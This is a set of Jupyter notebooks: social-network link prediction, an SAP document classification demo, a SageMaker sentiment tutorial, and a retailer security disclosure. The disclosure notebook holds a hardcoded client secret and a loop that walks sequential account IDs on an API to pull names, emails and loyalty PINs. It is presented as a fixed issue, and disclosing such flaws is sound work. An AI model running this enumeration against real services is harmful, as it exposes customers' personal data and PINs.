name = ';'.join(split[:-1]) # feature name
index = int(split[-1].split(" ")[-1]) #feature index
return index, name
def load_features():
"""
parse each ego-network and creates two dictionaries:
- feature_index: maps numeric indices to names
- inverted_feature_index: maps names to numeric indices
"""
import glob
feat_file_name = 'tmp.txt'
# may need to build the index first
if not os.path.exists(feat_file_name):
feat_index = {}
# build the index from data/*.featnames files
featname_files = glob.iglob("facebook/*.featnames")
for featname_file_name in featname_files:
featname_file = open(featname_file_name, 'r')
for line in featname_file:
# example line:
# 0 birthday;anonymized feature 376
index, name = parse_featname_line(line)
feat_index[index] = name
featname_file.close()
keys = feat_index.keys()
keys = sorted(keys)
out = open(feat_file_name,'w')
for key in keys:
out.write("%d %s\n" % (key, feat_index[key]))
out.close()
index_file = open(feat_file_name,'r')
for line in index_file:
split = line.strip().split(' ')
key = int(split[0])
val = split[1]
feature_index[key] = val
index_file.close()
for key in feature_index.keys():
val = feature_index[key]
inverted_feature_index[val] = key
def parse_nodes(network, ego_nodes):
"""
for each nodes in the network assign the corresponding features
previously loaded using the load_features function
"""
# parse each node
for node_id in ego_nodes:
featname_file = open(f'facebook/{node_id}.featnames','r')
feat_file = open(f'facebook/{node_id}.feat','r')
egofeat_file = open(f'facebook/{node_id}.egofeat','r')
edge_file = open(f'facebook/{node_id}.edges','r')
ego_features = [int(x) for x in egofeat_file.readline().split(' ')]
# Add ego node features
network.nodes[node_id]['features'] = np.zeros(len(feature_index))
# parse ego node
i = 0
for line in featname_file:
key, val = parse_featname_line(line)
# Update feature value if necessary
if ego_features[i] + 1 > network.nodes[node_id]['features'][key]:
network.nodes[node_id]['features'][key] = ego_features[i] + 1
i += 1
# parse neighboring nodes
for line in feat_file:
featname_file.seek(0)
split = [int(x) for x in line.split(' ')]
node_id = split[0]
features = split[1:]
# Add node features
network.nodes[node_id]['features'] = np.zeros(len(feature_index))
i = 0
for line in featname_file:
key, val = parse_featname_line(line)
# Update feature value if necessary
if features[i] + 1 > network.nodes[node_id]['features'][key]:
network.nodes[node_id]['features'][key] = features[i] + 1
i += 1
featname_file.close()
feat_file.close()
egofeat_file.close()
edge_file.close()
# + id="2C3TwPVTdgeM"
# parse edge features and add them to the networkx nodes
load_features()
parse_nodes(G, ego_nodes)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 5210, "status": "ok", "timestamp": 1616266928734, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="oZIj_NqvVzmU" outputId="990227b3-7f01-4ef6-d036-9346c7ae5eca"
# check features has been correctly assigned
G.nodes[0]
# + [markdown] id="7OHolBwscK2H"
# ### Link prediction
# It's now time for machine learning.
# As first, we will be using stellargraph utility function to define a train and test set.
# More in detail, TODO
# + colab={"base_uri": "https://localhost:8080/", "height": 1000} executionInfo={"elapsed": 14891, "status": "ok", "timestamp": 1616871410804, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="Li-IypwmIW9V" outputId="580084bf-ff08-406d-b335-7f791b93e9fe"
# !pip install stellargraph
# !pip install node2vec==0.3.3
# !pip install git+https://github.com/palash1992/GEM.git
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 9188, "status": "ok", "timestamp": 1616871428202, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="WsOOcDbfQifV" outputId="62d42e17-456d-4155-d91d-2bd39b79cde9"
from sklearn.model_selection import train_test_split
from stellargraph.data import EdgeSplitter
from stellargraph import StellarGraph
edgeSplitter = EdgeSplitter(G)
graph_test, samples_test, labels_test = edgeSplitter.train_test_split(p=0.1, method="global", seed=24)
edgeSplitter = EdgeSplitter(graph_test, G)
graph_train, samples_train, labels_train = edgeSplitter.train_test_split(p=0.1, method="global", seed=24)
# + [markdown] id="v0VscoAYx6_w"
# We will be comparing three different methods for predicting missing edges:
# - Method1: node2vec will be used to learn a node embedding. Such embeddings will be used to train a Random Forest classifier in a supervised manner
# - Method2: graphSAGE (with and without features) will be used for link prediction
# - Method3: hand-crafted features will be extracted and used to train a Random Forest classifier
# + [markdown] id="P-8cKmYvwGeR"
# ##### node2vec
#
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 209043, "status": "ok", "timestamp": 1616871720448, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="47_TddSbY0RN" outputId="d0eb3606-649c-417c-93a3-1bdf188006c6"
from node2vec import Node2Vec
from node2vec.edges import HadamardEmbedder
from stellargraph.data import EdgeSplitter
node2vec = Node2Vec(graph_train)
model = node2vec.fit()
edges_embs = HadamardEmbedder(keyed_vectors=model.wv)
train_embeddings = [edges_embs[str(x[0]),str(x[1])] for x in samples_train]
edges_embs = HadamardEmbedder(keyed_vectors=model.wv)
test_embeddings = [edges_embs[str(x[0]),str(x[1])] for x in samples_test]
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 2806, "status": "ok", "timestamp": 1616871737132, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="HRq-PlbKcNvq" outputId="61f7c1e0-ed5d-49bf-e0b3-d0092f66beff"
from sklearn.ensemble import RandomForestClassifier
from sklearn import metrics
rf = RandomForestClassifier(n_estimators=10)
rf.fit(train_embeddings, labels_train);
y_pred = rf.predict(test_embeddings)
print('Precision:', metrics.precision_score(labels_test, y_pred))
print('Recall:', metrics.recall_score(labels_test, y_pred))
print('F1-Score:', metrics.f1_score(labels_test, y_pred))
# + [markdown] id="ogTjZBNOwJ5y"
# ##### graphSAGE
# + id="R4Vk5GnxcWF2"
# graphSAGE no feats
# + id="xK_GZyC5x6eE"
eye = np.eye(graph_train.number_of_nodes())
fake_features = {n:eye[n] for n in G.nodes()}
nx.set_node_attributes(graph_train, fake_features, "fake")
eye = np.eye(graph_test.number_of_nodes())
fake_features = {n:eye[n] for n in G.nodes()}
nx.set_node_attributes(graph_test, fake_features, "fake")
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 808, "status": "ok", "timestamp": 1616266963123, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="Ntt0Mcpwy-G0" outputId="be140ce5-81f3-4ba7-df33-61a1a1b1e15a"
graph_train.nodes[0]
# + id="RGn0XYjexmy9"
from stellargraph.mapper import GraphSAGELinkGenerator
batch_size = 64
num_samples = [4, 4]
sg_graph_train = StellarGraph.from_networkx(graph_train, node_features="fake")
sg_graph_test = StellarGraph.from_networkx(graph_test, node_features="fake")
train_gen = GraphSAGELinkGenerator(sg_graph_train, batch_size, num_samples)
train_flow = train_gen.flow(samples_train, labels_train, shuffle=True, seed=24)
test_gen = GraphSAGELinkGenerator(sg_graph_test, batch_size, num_samples)
test_flow = test_gen.flow(samples_test, labels_test, seed=24)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 1253, "status": "ok", "timestamp": 1615731818925, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="Fv96b9CTwNaP" outputId="f39489eb-87c5-427c-b0a5-3d93aa25d0c4"
from stellargraph.layer import GraphSAGE, link_classification
from tensorflow import keras
layer_sizes = [20, 20]
graphsage = GraphSAGE(
layer_sizes=layer_sizes, generator=train_gen, bias=True, dropout=0.3
)
x_inp, x_out = graphsage.in_out_tensors()
prediction = link_classification(
output_dim=1, output_act="sigmoid", edge_embedding_method="ip"
)(x_out)
model = keras.Model(inputs=x_inp, outputs=prediction)
model.compile(
optimizer=keras.optimizers.Adam(lr=1e-3),
loss=keras.losses.mse,
metrics=["acc"],
)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 294128, "status": "ok", "timestamp": 1615732114364, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="e-7QmsWQ3AVB" outputId="cf9996ad-ca77-4dbb-e6cd-1c8fa78d3d26"
epochs = 10
history = model.fit(train_flow, epochs=epochs, validation_data=test_flow)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 15060, "status": "ok", "timestamp": 1615732132438, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="KIFkkB2K2HpW" outputId="1c60f2ab-6ce2-402d-877e-00486598e2e7"
from sklearn import metrics
y_pred = np.round(model.predict(train_flow)).flatten()
print('Precision:', metrics.precision_score(labels_train, y_pred))
print('Recall:', metrics.recall_score(labels_train, y_pred))
print('F1-Score:', metrics.f1_score(labels_train, y_pred))
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 14305, "status": "ok", "timestamp": 1615732149331, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="UwClat8v0avH" outputId="8ff471d3-301e-42ae-f4ef-35945e7d12c7"
y_pred = np.round(model.predict(test_flow)).flatten()
print('Precision:', metrics.precision_score(labels_test, y_pred))
print('Recall:', metrics.recall_score(labels_test, y_pred))
print('F1-Score:', metrics.f1_score(labels_test, y_pred))
# + id="7J8aSb7MfkQ1"
# graphSAGE + feats
# + id="16lpkK-98W39"
sg_graph_train = StellarGraph.from_networkx(graph_train, node_features="features")
sg_graph_test = StellarGraph.from_networkx(graph_test, node_features="features")
train_gen = GraphSAGELinkGenerator(sg_graph_train, batch_size, num_samples)
train_flow = train_gen.flow(samples_train, labels_train, shuffle=True, seed=24)
test_gen = GraphSAGELinkGenerator(sg_graph_test, batch_size, num_samples)
test_flow = test_gen.flow(samples_test, labels_test, seed=24)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 171414, "status": "ok", "timestamp": 1615732377339, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="9HFwHmGq8dCD" outputId="d3a73f88-c4eb-44a2-e303-e7b3530b4d58"
layer_sizes = [20, 20]
graphsage = GraphSAGE(
layer_sizes=layer_sizes, generator=train_gen, bias=True, dropout=0.3
)
x_inp, x_out = graphsage.in_out_tensors()
prediction = link_classification(
output_dim=1, output_act="sigmoid", edge_embedding_method="ip"
)(x_out)
model = keras.Model(inputs=x_inp, outputs=prediction)
model.compile(
optimizer=keras.optimizers.Adam(lr=1e-3),
loss=keras.losses.mse,
metrics=["acc"],
)
epochs = 10
history = model.fit(train_flow, epochs=epochs, validation_data=test_flow)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 9222, "status": "ok", "timestamp": 1615732391007, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="ypxwoPvL83Rr" outputId="76fe25d5-e08e-4d25-aae1-9a30c382455a"
from sklearn import metrics
y_pred = np.round(model.predict(train_flow)).flatten()
print('Precision:', metrics.precision_score(labels_train, y_pred))
print('Recall:', metrics.recall_score(labels_train, y_pred))
print('F1-Score:', metrics.f1_score(labels_train, y_pred))
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 8271, "status": "ok", "timestamp": 1615732401254, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="X8ZcWyByNvO7" outputId="0b75eda5-1d3c-4d22-e0f7-e777e1d63c58"
y_pred = np.round(model.predict(test_flow)).flatten()
print('Precision:', metrics.precision_score(labels_test, y_pred))
print('Recall:', metrics.recall_score(labels_test, y_pred))
print('F1-Score:', metrics.f1_score(labels_test, y_pred))
# + [markdown] id="Gd7EaYqVqpjJ"
# #### Hand crafted features
# + executionInfo={"elapsed": 10866, "status": "ok", "timestamp": 1616871782934, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="hygKSMKPj-HF"
import community
def get_shortest_path(G,u,v):
""" return the shortest path length between u,v
in the graph without the edge (u,v) """
removed = False
if G.has_edge(u,v):
removed = True
G.remove_edge(u,v) # temporary remove edge
try:
sp = len(nx.shortest_path(G, u, v))
except:
sp = 0
if removed:
G.add_edge(u,v) # add back the edge if it was removed
return sp
def get_hc_features(G, samples_edges, labels):
# precompute metrics
centralities = nx.degree_centrality(G)
parts = community.best_partition(G)
feats = []
for (u,v),l in zip(samples_edges, labels):
shortest_path = get_shortest_path(G, u, v)
j_coefficient = next(nx.jaccard_coefficient(G, ebunch=[(u, v)]))[-1]
u_centrality = centralities[u]
v_centrality = centralities[v]
u_community = parts.get(u)
v_community = parts.get(v)
# add the feature vector
feats += [[shortest_path, j_coefficient, u_centrality, v_centrality]]
return feats
feat_train = get_hc_features(graph_train, samples_train, labels_train)
feat_test = get_hc_features(graph_test, samples_test, labels_test)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 831, "status": "ok", "timestamp": 1616871790199, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="E5XIoZ53q4_q" outputId="d0184893-a242-45dd-e9d8-38e6d4b1f3e6"
from sklearn.ensemble import RandomForestClassifier
from sklearn import metrics
rf = RandomForestClassifier(n_estimators=10)
rf.fit(feat_train, labels_train);
y_pred = rf.predict(feat_test)
print('Precision:', metrics.precision_score(labels_test, y_pred))
print('Recall:', metrics.recall_score(labels_test, y_pred))
print('F1-Score:', metrics.f1_score(labels_test, y_pred))
# + id="O1YkgCx5rh25"
| Chapter06/01_Social_network_analysis.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Meijer Security Disclosure
#
# I discovered this security issue when working on a Python API for the Meijer APIs.
#
# See ```00_MeijerAppInit``` and ```01_MeijerLogin``` for the full background into how I found this.
# ## Setup.
#
# Code to get to the point of the security issue (Better documented in ```01_MeijerLogin```):
# +
import os
import requests
import base64
# Generate the Authorization string from account_services_secret
account_services_secret="drAqas76Re7RekeBanaMaNEMah7paDE5"
AUTH=base64.encodebytes("mma:{}".format(account_services_secret).encode("UTF-8")).decode("UTF-8").strip()
request=dict()
request["url"] = "https://login.meijer.com/as/token.oauth2"
request["headers"] = {
'Authorization': 'Basic {}'.format(AUTH),
'Platform': 'Android',
'Version': '5.10.0',
'Build': '51000000',
'User-Agent': 'okhttp/3.8.0'
}
request["params"] = {
'grant_type': 'client_credentials',
'scope': 'openid',
"username": os.environ["MEIJER_USER"],
"password": os.environ["MEIJER_<PASSWORD>"]
}
r = requests.post(**request)
assert r.status_code==200
access_token=r.json()["access_token"]
def get_mperks(meijer_id):
request=dict()
request["url"] = "https://mservices.meijer.com/dgtlmma/accounts/getAccount?id={}".format(meijer_id)
request["headers"] = {
'Accept': 'application/vnd.meijer.account.account-v1.0+json',
'Authorization': 'Bearer {}'.format(access_token),
'Content-Type': 'application/json',
'Platform': 'Android',
'Version': '5.10.0',
'Build': '51000000',
'User-Agent': 'okhttp/3.8.0'
}
try:
r = requests.get(**request)
assert r.status_code==200
return r.json()
except:
return dict()
# -
# # Issue [FIXED]
#
# The backend doesn't actually validate/verify/authenticate the user beyond the headers. You can edit the ```id=``` in the URL to get the data for any mPerks user.
#
# As demonstrated here:
accounts = list()
for meijer_id in range(13266000, 13266020):
accounts.append(get_mperks(meijer_id))
accounts
# At one time, this was all available to the public. If you use your mPerks PIN as your ATM PIN, change it.
for account in accounts:
print("{firstName} {lastName} <{email}> {mPerksPin}".format(**account))
| v1/Meijer Security Disclosure.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Document Classification Demo
#
# In this notebook we will learn how to use the **Document Classification** service using a python based client library.
# In this demo, we train a model for classification and evaluate its performance on a small example dataset.
#
# For the demo, we prepared this Jupyter Notebook which demonstrates the use of this client library to invoke the most important functions of the Document Classification REST API.
#
# ### Demo content
#
# 1. Create a dataset
# 1. Train and deploy a custom model
# 1. Run classification requests using the custom model
#
# ### Initial steps
#
# **Note:** The following steps are required for the execution of this notebook(Dataset creation and training/deployment features are not available on trial accounts):
#
# 1. See this [tutorial](https://developers.sap.com/tutorials/hcp-create-trial-account.html) to learn how to create a **SAP Cloud Platform Trial account**.
# 2. See this [tutorial](https://developers.sap.com/tutorials/cp-aibus-dc-service-instance.html) to learn how to create a **Document Classification service instance**.
#
# Please keep the **service key** for the Document Classification service created in the 2nd step above at hand as we will use it below!
# ### 1. Installation and invocation of the client library
#
# In this section we will:
# - Pass the service key we obtained in the **initial steps above** to the client library which will use it to communicate with the [Document Classification REST API](https://aiservices-trial-dc.cfapps.eu10.hana.ondemand.com/document-classification/v1/)
# - Import the client library package and create an instance of the client
# - Try out and learn about the [API of the client library](https://github.com/SAP/document-classification-client/blob/master/API.md)
#
# An example dataset is provided in the repo, you can exlpore the structure of the dataset required [here](https://github.com/SAP/document-classification-client/tree/master/examples/data/training_data).
# +
# Pass the credentials to the client library
# Please copy the content of the service key you created in the Prerequisites above here after "service_key = "
# An EXAMPLE is given to show how the service key needs to be pasted here
service_key = {
"url": "https://environment.eu10.hana.ondemand.com",
"uaa": {
"tenantmode": "dedicated",
"sburl": "*******",
"subaccountid": "*******",
"clientid": "*******",
"xsappname": "*******",
"clientsecret": "*******",
"url": "*******",
"uaadomain": "*******",
"verificationkey": "*******",
"apiurl": "*******",
"identityzone": "*******",
"identityzoneid": "*******",
"tenantid": "*******",
"zoneid": "*******"
},
"swagger": "/document-classification/v1"
}
# These 4 values are needed for communicating with the Document Classification REST API
api_url = service_key["url"]
uaa_server = service_key["uaa"]["url"]
client_id = service_key["uaa"]["clientid"]
client_secret = service_key["uaa"]["clientsecret"]
# -
# <div class="alert alert-block alert-warning">
# <b>Warning:</b> Please provide a model name for training.
# </div>
# Model specific configuration
model_name = "" # choose an arbitrary model name for the model trained here, will be assigned to the trained model for identification purposes
dataset_folder = "data/training_data/" # should point to (relative or absolute) path containing dataset
# ## Initialize Demo
# Import client class from document classification client python package
from sap_document_classification_client.dc_api_client import DCApiClient
# Create an instance of this class with the credentials defined in the last cell
my_dc_client = DCApiClient(api_url, client_id, client_secret, uaa_server)
# ## Create Dataset for training of a new model
# Create Training dataset
response = my_dc_client.create_dataset()
training_dataset_id = response["datasetId"]
print("Dataset created with datasetId: {}".format(training_dataset_id))
# Upload training documents to the dataset from training directory
print("Uploading training documents to the dataset")
my_dc_client.upload_documents_directory_to_dataset(training_dataset_id, dataset_folder)
print("Finished uploading training documents to the dataset")
# Pretty print the dataset statistics
from pprint import pprint
print("Dataset statistics")
dataset_stats = my_dc_client.get_dataset_info(training_dataset_id)
pprint(dataset_stats)
# +
# Visualization of label distribution
# %matplotlib inline
import matplotlib.pyplot as plt
import numpy as np
nrCharacteristics = len(dataset_stats["groundTruths"])
fig, (ax) = plt.subplots(nrCharacteristics,1, figsize=(10, 15), dpi=80, facecolor='w', edgecolor='k')
if nrCharacteristics==1:
ax = np.array((ax,))
for i in range(nrCharacteristics):
keys = [element["value"] for element in dataset_stats["groundTruths"][i]["classes"]]
total = [element["total"] for element in dataset_stats["groundTruths"][i]["classes"]]
ax[i].set_ylabel("Absolute")
ax[i].bar(keys, total)
# -
# ## Training
# Train the model
print("Start training job from model with modelName {}".format(model_name))
response = my_dc_client.train_model(model_name, training_dataset_id)
pprint(response)
print("Model training finished with status: {}".format(response.get("status")))
if response.get("status") == "SUCCEEDED":
model_version = response.get("modelVersion")
print("Trained model: {}".format(model_name))
print("Trained model version: {}".format(model_version))
# Check training statistics
reponse = my_dc_client.get_trained_model_info(model_name, model_version)
training_details = response.pop("details")
pprint(response)
# ## Deployment
# Deploy model
response = my_dc_client.deploy_model(model_name, model_version)
pprint(response)
# ## Classification
#
# This runs inference on all documents in the test set (stratification is done inside DC service and reproduced here).
# We are working on exposing the stratification results so that this cell can be shortend.
# +
# Test usage of the model by classifying a few documents and collecting results and ground truth
import binascii
import time
import json
import numpy as np
from collections import defaultdict
filenames = my_dc_client._find_files(dataset_folder, "*.PDF")
test_filenames = []
for filename in filenames:
# Check whether it is a test document
with open(filename, 'rb') as pdf_file:
is_test_document = (int(str(binascii.crc32(pdf_file.read()))) % 100) in range(90,100)
if is_test_document:
test_filenames.append(filename)
# Classify all test documents
responses = my_dc_client.classify_documents(test_filenames, model_name, model_version)
# Iterate over responses and store results in convenient format
test_prediction = defaultdict(lambda : [])
test_probability = defaultdict(lambda : defaultdict(lambda : []))
test_ground_truth = defaultdict(lambda : [])
for response, filename in zip(responses, test_filenames):
pprint(response)
try:
# Parse response from DC service
prediction = response["predictions"]
for element in prediction:
labels = []
scores = []
for subelement in element["results"]:
labels.append(subelement["label"])
scores.append(subelement["score"])
test_probability[element["characteristic"]][subelement["label"]].append(subelement["score"])
test_prediction[element["characteristic"]].append(labels[np.argmax(np.asarray(scores))])
# Collect ground truth of all test documents
with open(filename.replace(".pdf", ".json")) as gt_file:
gt = json.load(gt_file)
for element in gt["classification"]:
test_ground_truth[element["characteristic"]].append(element["value"])
except KeyError:
print("Document not used")
# +
# display the ground truth and classification result for a certain document with index idx
idx = 0
for i in range(nrCharacteristics):
characteristic =dataset_stats["groundTruths"][i]["characteristic"]
print("Ground truth for characteristic '{}'".format(str(characteristic)) + ": '{}'".format(test_ground_truth[str(characteristic)][idx]))
print("Model predictions:")
pprint(responses[idx])
# -
# # Confusion Matrix
#
# The confusion matrix is a way to visualize the results of a classiifcation task.
# +
import matplotlib.pyplot as plt
import numpy as np
from sklearn.metrics import confusion_matrix
font = {'size' : 22}
plt.rc('font', **font)
def plot_confusion_matrix(ax, char, y_true, y_pred, classes,
normalize=True,
title=None,
cmap=plt.cm.Blues):
"""
This function prints and plots the confusion matrix.
Normalization can be applied by setting `normalize=True`.
"""
if not title:
if normalize:
title = "{}: Normalized confusion matrix".format(char)
else:
title = "{}: Confusion matrix without normalization".format(char)
# Compute confusion matrix
cm = confusion_matrix(y_true, y_pred)
if normalize:
cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]
im = ax.imshow(cm, interpolation='nearest', cmap=cmap)
# We want to show all ticks...
ax.set(xticks=np.arange(cm.shape[1]),
yticks=np.arange(cm.shape[0]),
# ... and label them with the respective list entries
xticklabels=classes, yticklabels=classes,
title=title,
ylabel="True label",
xlabel="Predicted label",
xlim=(-0.5,len(classes)-0.5),
ylim=(-0.5,len(classes)-0.5))
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha='right',
rotation_mode='anchor')
# Loop over data dimensions and create text annotations.
fmt = '.2f' if normalize else 'd'
thresh = cm.max() / 2.
for i in range(cm.shape[0]):
for j in range(cm.shape[1]):
ax.text(j, i, format(cm[i, j], fmt),
ha='center', va='center', color='white' if cm[i, j] > thresh else 'black')
fig.show()
fig, ax = plt.subplots(len(test_ground_truth.keys()), 1, figsize=(14,28))
if len(test_ground_truth.keys())==1:
ax = np.array((ax,))
for idx, characteristic in enumerate(test_ground_truth.keys()):
plot_confusion_matrix(ax[idx], characteristic,
test_ground_truth[characteristic],
test_prediction[characteristic],
np.unique(np.asarray(test_ground_truth[characteristic])),
normalize=False)
fig.subplots_adjust(hspace=0.5)
# -
# ## Precision Recall curves
#
# Note that a Precision recall curve is only well defined for binary classification tasks.
# For the multi-class case each class is treated independently based on the confidence scroes provided by the service.
# +
## Visualize PR curve for each characteristic (NOTE this as a bit boring in this example, create a more challenging dataset for algorithm?)
import matplotlib.pyplot as plt
import numpy as np
from sklearn.metrics import precision_recall_curve
def plot_f_score(ax):
f_scores = np.linspace(0.2, 0.8, num=4)
for f_score in f_scores:
x = np.linspace(0.01, 1)
y = f_score * x / (2 * x - f_score)
l, = ax.plot(x[y >= 0], y[y >= 0], color='gray', alpha=0.2)
ax.annotate('f1={0:0.1f}'.format(f_score), xy=(0.9, y[45] + 0.02))
fig, ax = plt.subplots(len(test_ground_truth.keys()), 1, figsize=(12, 24), dpi=80, facecolor='w', edgecolor='k')
if len(test_ground_truth.keys())==1:
ax = np.array((ax,))
for idx, characteristic in enumerate(test_ground_truth.keys()):
for label in np.unique(np.asarray(test_ground_truth[characteristic])):
gt = [subelement == label for subelement in test_ground_truth[characteristic]]
prediction = test_probability[characteristic][label]
precision, recall, thresholds = precision_recall_curve(gt, prediction)
ax[idx].plot(recall, precision, label=label)
ax[idx].set_xlabel('Recall')
ax[idx].set_ylabel('Precision')
ax[idx].set_xlim(-0.1,1.1)
ax[idx].set_ylim(-0.1,1.1)
ax[idx].set_title('{}: Precision-Recall curves'.format(characteristic))
ax[idx].spines["top"].set_visible(False)
ax[idx].spines["right"].set_visible(False)
ax[idx].get_xaxis().tick_bottom()
ax[idx].get_yaxis().tick_left()
ax[idx].legend()
ax[idx].grid()
plot_f_score(ax[idx])
fig.show()
# -
| examples/train_and_evaluate_custom_model.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Environment (conda_mxnet_p27)
# language: python
# name: conda_mxnet_p27
# ---
# ## Sentiment Analysis with MXNet and Gluon
#
# This tutorial will show how to train and test a Sentiment Analysis (Text Classification) model on SageMaker using MXNet and the Gluon API.
#
#
# +
import os
import boto3
import sagemaker
from sagemaker.mxnet import MXNet
from sagemaker import get_execution_role
sagemaker_session = sagemaker.Session()
role = get_execution_role()
# -
# ## Download training and test data
# In this notebook, we will train the **Sentiment Analysis** model on [SST-2 dataset (Stanford Sentiment Treebank 2)](https://nlp.stanford.edu/sentiment/index.html). The dataset consists of movie reviews with one sentence per review. Classification involves detecting positive/negative reviews.
# We will download the preprocessed version of this dataset from the links below. Each line in the dataset has space separated tokens, the first token being the label: 1 for positive and 0 for negative.
# + language="bash"
# mkdir data
# curl https://raw.githubusercontent.com/saurabh3949/Text-Classification-Datasets/master/stsa.binary.phrases.train > data/train
# curl https://raw.githubusercontent.com/saurabh3949/Text-Classification-Datasets/master/stsa.binary.test > data/test
# -
# ## Uploading the data
#
# We use the `sagemaker.Session.upload_data` function to upload our datasets to an S3 location. The return value `inputs` identifies the location -- we will use this later when we start the training job.
inputs = sagemaker_session.upload_data(path='data', key_prefix='data/DEMO-sentiment')
# ## Implement the training function
#
# We need to provide a training script that can run on the SageMaker platform. The training scripts are essentially the same as one you would write for local training, except that you need to provide a `train` function. When SageMaker calls your function, it will pass in arguments that describe the training environment. Check the script below to see how this works.
#
# The script here is a simplified implementation of ["Bag of Tricks for Efficient Text Classification"](https://arxiv.org/abs/1607.01759), as implemented by Facebook's [FastText](https://github.com/facebookresearch/fastText/) for text classification. The model maps each word to a vector and averages vectors of all the words in a sentence to form a hidden representation of the sentence, which is inputted to a softmax classification layer. Please refer to the paper for more details.
# !cat 'sentiment.py'
# ## Run the training script on SageMaker
#
# The ```MXNet``` class allows us to run our training function on SageMaker infrastructure. We need to configure it with our training script, an IAM role, the number of training instances, and the training instance type. In this case we will run our training job on a single c4.2xlarge instance.
m = MXNet("sentiment.py",
role=role,
train_instance_count=1,
train_instance_type="ml.c4.2xlarge",
hyperparameters={'batch_size': 8,
'epochs': 2,
'learning_rate': 0.01,
'embedding_size': 50,
'log_interval': 1000})
# After we've constructed our `MXNet` object, we can fit it using the data we uploaded to S3. SageMaker makes sure our data is available in the local filesystem, so our training script can simply read the data from disk.
#
m.fit(inputs)
# As can be seen from the logs, we get > 80% accuracy on the test set using the above hyperparameters.
#
# After training, we use the MXNet object to build and deploy an MXNetPredictor object. This creates a SageMaker endpoint that we can use to perform inference.
#
# This allows us to perform inference on json encoded string array.
predictor = m.deploy(initial_instance_count=1, instance_type='ml.c4.xlarge')
# The predictor runs inference on our input data and returns the predicted sentiment (1 for positive and 0 for negative).
# +
